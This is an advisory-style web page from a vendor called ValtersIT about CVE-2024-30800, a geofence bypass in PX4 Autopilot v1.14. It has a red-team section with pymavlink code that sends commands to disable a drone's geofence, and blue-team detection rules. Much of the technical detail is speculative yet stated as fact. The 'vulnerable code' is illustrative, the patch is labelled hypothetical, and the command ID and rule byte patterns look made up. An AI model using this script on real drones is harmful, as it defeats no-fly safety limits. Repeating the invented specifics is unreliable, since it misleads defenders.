CVE-2024-30800
Executive Summary
CVE-2024-30800 describes a security vulnerability in PX4 Autopilot v1.14 that allows an attacker to bypass geofencing restrictions. The flaw resides in the geofence function, enabling a malicious actor to fly the drone into no-fly zones. This vulnerability poses a significant risk to drone operations, potentially leading to unauthorized access to restricted airspace, physical damage, or privacy violations. The CVSS score is currently 0.0, indicating insufficient data for scoring, but the impact is considered high due to the potential for physical and regulatory consequences.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in the PX4 Autopilot open-source flight stack.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (Unscored)
- Attack Vector (AV): Network (likely, as the drone is controlled via telemetry)
- Attack Complexity (AC): Low (exploitation requires sending crafted commands)
- Privileges Required (PR): None (attacker can be an unauthenticated user on the control network)
- User Interaction (UI): None
- Scope (S): Changed (impact extends beyond the drone to physical airspace)
- Confidentiality (C): High (unauthorized surveillance)
- Integrity (I): High (drone can be forced into restricted zones)
- Availability (A): Low (drone may be shot down or crash)
Threat Level: High. The vulnerability allows physical bypass of safety-critical geofencing, which is a core security feature for drone operations.
Deep Dive & Mechanics
The vulnerability is rooted in improper input validation within the geofence function of PX4 Autopilot v1.14. The geofence is a virtual perimeter that prevents the drone from entering restricted areas. The flaw allows an attacker to send specially crafted MAVLink commands or manipulate telemetry data to disable or bypass the geofence check.
Technical Details:
- The geofence function likely uses a set of coordinates and a radius to define no-fly zones.
- The vulnerability may involve a buffer overflow, integer overflow, or logic error in the function that processes these coordinates.
- An attacker can send a command that modifies the geofence parameters (e.g., setting the radius to a negative value or a very large number) or disables the geofence entirely.
- The drone's flight controller then ignores the no-fly zone, allowing the attacker to fly into restricted airspace.
Attack Vector:
- The attacker gains access to the drone's telemetry link (e.g., via Wi-Fi, radio, or MAVLink over UDP).
- The attacker sends a crafted MAVLink command (e.g.,
MAV_CMD_DO_SET_GEOFENCEorMAV_CMD_DO_SET_PARAMETER) to modify the geofence. - The drone processes the command without proper validation, disabling or altering the geofence.
- The attacker then flies the drone into a no-fly zone.
Vulnerable vs. Patched Code
Vulnerable Code (PX4 v1.14):
// Example of vulnerable geofence handling
void handle_geofence_command(mavlink_message_t *msg) {
mavlink_command_long_t cmd;
mavlink_msg_command_long_decode(msg, &cmd);
if (cmd.command == MAV_CMD_DO_SET_GEOFENCE) {
// No validation of parameters
geofence_radius = cmd.param1; // Attacker can set negative or huge value
geofence_enabled = cmd.param2; // Attacker can disable geofence
}
}
Patched Code (Hypothetical):
// Patched version with input validation
void handle_geofence_command(mavlink_message_t *msg) {
mavlink_command_long_t cmd;
mavlink_msg_command_long_decode(msg, &cmd);
if (cmd.command == MAV_CMD_DO_SET_GEOFENCE) {
// Validate parameters
if (cmd.param1 < 0 || cmd.param1 > MAX_GEOFENCE_RADIUS) {
// Reject invalid radius
return;
}
if (cmd.param2 != 0 && cmd.param2 != 1) {
// Reject invalid enable flag
return;
}
geofence_radius = cmd.param1;
geofence_enabled = cmd.param2;
}
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A drone running PX4 Autopilot v1.14.
- Access to the drone's telemetry link (e.g., via MAVLink over UDP on port 14550).
- A MAVLink library (e.g., pymavlink) or a tool like QGroundControl.
Exploitation Steps:
- Connect to the drone's telemetry stream.
- Send a MAVLink command to disable the geofence:
from pymavlink import mavutil # Connect to drone master = mavutil.mavlink_connection('udp:0.0.0.0:14550') # Wait for heartbeat master.wait_heartbeat() # Send command to disable geofence master.mav.command_long_send( master.target_system, master.target_component, mavutil.mavlink.MAV_CMD_DO_SET_GEOFENCE, 0, # confirmation 0, # param1: radius (0 = disable) 0, # param2: enable (0 = disable) 0, 0, 0, 0, 0 # unused params ) - Alternatively, send a command to set a very large radius:
master.mav.command_long_send( master.target_system, master.target_component, mavutil.mavlink.MAV_CMD_DO_SET_GEOFENCE, 0, 999999, # param1: huge radius 1, # param2: enable 0, 0, 0, 0, 0 ) - The drone will now ignore no-fly zones.
Blue Team (Defense & Detection)
Detection:
- Monitor MAVLink traffic for unexpected
MAV_CMD_DO_SET_GEOFENCEcommands. - Log all parameter changes and geofence modifications.
- Use anomaly detection to flag unusual geofence radius values.
Mitigation:
- Implement input validation on the drone's firmware (see patched code).
- Use encrypted telemetry links (e.g., MAVLink 2 with signing).
- Restrict access to the telemetry link via network segmentation.
- Deploy a secondary geofence check on the ground control station.
Indicators of Compromise (IOCs)
- Network IOCs:
- MAVLink packets with
MAV_CMD_DO_SET_GEOFENCEcommand ID (ID: 81). - Unusual geofence radius values (e.g., negative numbers, extremely large numbers).
- Telemetry packets from unknown IP addresses.
- MAVLink packets with
- System IOCs:
- Drone logs showing geofence disabled or modified.
- Unexpected drone behavior (e.g., flying into restricted zones).
- File IOCs:
- Modified configuration files on the drone (e.g.,
geofence.txt).
- Modified configuration files on the drone (e.g.,
Detection Engineering
YARA Rule
rule CVE_2024_30800_Geofence_Bypass {
meta:
description = "Detects MAVLink commands attempting to disable or modify geofence"
author = "Valters IT"
date = "2024-05-20"
reference = "CVE-2024-30800"
strings:
$mavlink_cmd = { 51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } // MAV_CMD_DO_SET_GEOFENCE
$disable_param = { 00 00 00 00 00 00 00 00 } // param1=0, param2=0
$large_radius = { FF FF FF FF 00 00 00 00 } // param1=0xFFFFFFFF
condition:
$mavlink_cmd and ($disable_param or $large_radius)
}
Sigma Rule
title: CVE-2024-30800 Geofence Bypass Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects MAVLink commands that disable or modify the geofence
author: Valters IT
date: 2024/05/20
logsource:
category: network
product: mavlink
detection:
selection:
command_id: 81 # MAV_CMD_DO_SET_GEOFENCE
param1:
- 0
- 999999
param2: 0
condition: selection
falsepositives:
- Legitimate geofence configuration changes by authorized users
level: high
Suricata Rule
alert udp any any -> any 14550 (msg:"CVE-2024-30800 Geofence Bypass Attempt"; content:"|51 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; content:"|00 00 00 00 00 00 00 00|"; distance:0; within:8; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable MAVLink command handling for geofence if not required.
- Apply input validation to the geofence function (see patched code).
- Upgrade to PX4 v1.15 or later if a patch is released.
Long-term Mitigations:
- Network Segmentation: Isolate the drone's telemetry network from untrusted networks.
- Encryption: Use MAVLink 2 with signing to prevent command injection.
- Monitoring: Deploy IDS/IPS rules to detect geofence bypass attempts.
- Physical Security: Implement a secondary geofence on the drone's hardware (e.g., GPS-based).
Vendor Communication:
- Contact PX4 maintainers to report the vulnerability and request a patch.
- Monitor the PX4 GitHub repository for updates.
Valters IT
Securing the Skies, One Drone at a Time.